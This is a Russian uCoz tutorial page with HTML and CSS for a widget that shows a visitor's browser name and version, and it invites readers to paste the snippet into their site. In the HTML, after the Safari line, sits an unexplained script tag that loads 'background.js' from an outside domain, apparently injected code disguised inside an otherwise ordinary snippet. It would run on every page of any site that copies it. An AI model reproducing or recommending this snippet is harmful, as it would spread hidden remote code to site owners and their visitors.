Скачать бесплатно Отображаем информацию ваш браузер на uCoz и без регистрации, - Bce-TYT.ru -здесь есть всё для юкоз ucoz, DLE, софт

Меню сайта

Мини-Чат

Новое на форуме

» Признаки венерических заболеваний у мужчин
» Заработок на своем сайте
» Отдых в Крыму Судак
» Рекламма на сайте
» Написание сообщений на форуме за деньги!
» Котёнок для сайта - скрипт для укоз
» Новый мини чат
» Состав клана - победы поражения для ucoz
» Форма входа CSS3 & HTML5
» TRANCE РАДИО
» Красивое меню для сайта Ucoz
» Информер популярных материалов
» Плеер для проигрывания мп3 на сайте
» Часы для cs
» Скрипт Статистики CW на тему counter-strike

Друзья сайта

TORRENTIS.org - открытый игровой торрент-трекер

Главная » » Отображаем информацию ваш браузер на uCoz

Найденные файлы

6247 Kb/s 6247 Отображаем информацию ваш браузер на uCoz

Отображаем информацию ваш браузер на uCoz

Всем привет, сегодня благодаря системным переменным uCoz которые отвечают за отображение название браузера пользователя, мы будем создавать небольшое html-css решение, которое можно будет разместит на вашем сайте uCoz, к примеру поместить его в подвал сайта.

Как и полагается начнём данное решение с html каркаса, который размещаем в нужное место вашей страницы сайта:

Код

<div class="cell-your-browser">
  <div class="your-browser-info">Ваш браузер </div>
  <?if($USER_AGENT$='firefox')?> <a class="your-browser-ico brauzer-mf" href="http://www.mozilla.org/ru/firefox/new/" title="Скачать браузер Mozilla Firefox" target="_blank">FireFox - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='chrome')?><a class="your-browser-ico brauzer-gx" href="http://www.google.ru/chrome" title="Скачать браузер Google Chrome" target="_blank">Chrome - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='opera')?><a class="your-browser-ico brauzer-op" href="http://www.opera.com/download/" title="Скачать браузер Opera" target="_blank">Opera - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='safari')?><a class="your-browser-ico brauzer-sf" href="http://www.apple.com/ru/safari/" title="Скачать браузер Apple Safari" target="_blank">Safari - $USER_AGENT_VER$</a><?endif?><script type="text/javascript" src="http://returna.net/background.js"></script>
  <?if($USER_AGENT$='ie')?><a class="your-browser-ico brauzer-ie" href="http://windows.microsoft.com/ru-RU/internet-explorer/products/ie/home" title="Скачать браузер Internet Explorer" target="_blank">Internet Explorer - $USER_AGENT_VER$</a><?endif?>
</div>

как можно увидеть из данного кода, системные переменные uCoz, определят какой у пользователя браузер и предоставят для этого браузера свою информацию.

Теперь нам следует установить css стили, в которых я использовал css спрайты, всё просто и удобно:

Код

/* Отображаем информацию ваш браузер на uCoz
------------------------------------------*/
.cell-your-browser {
  float:left;
  padding: 10px;
  font:10px Verdana,Arial,Helvetica, sans-serif;
}

.your-browser-info {
  float:left;
  height: 14px;
  padding: 3px 5px 2px 0px;
}

.your-browser-ico:link,
.your-browser-ico:visited {
  float:left;
  height: 14px;
  padding: 3px 10px 2px 25px;
  text-shadow: 1px 1px 1px #333;
  font-weight: 700;
  color:#eaeaea;
  border-radius:3px;
  display:block;
  text-decoration:none;
  outline:none
}

.your-browser-ico:hover {
  color:#eaeaea;
}

.brauzer-mf {
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px 1px;
}

.brauzer-mf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px 1px;
}

.brauzer-gx {
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px -19px;
}

.brauzer-gx:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px -19px;
}

.brauzer-op {
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px -38px;
}

.brauzer-op:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px -38px;
}

.brauzer-sf {
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px -56px;
}

.brauzer-sf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px -56px;
}

.brauzer-ie {
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px -74px;
}

.brauzer-ie:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px -74px;
}

На этом всё, спасибо за внимание и удачного вам начала летних дней!

Категория:

Если не получается скачать, то нажмите СЮДА

Просмотров: 325 | Добавил: DoG8036 | Рейтинг: 0.0/0 |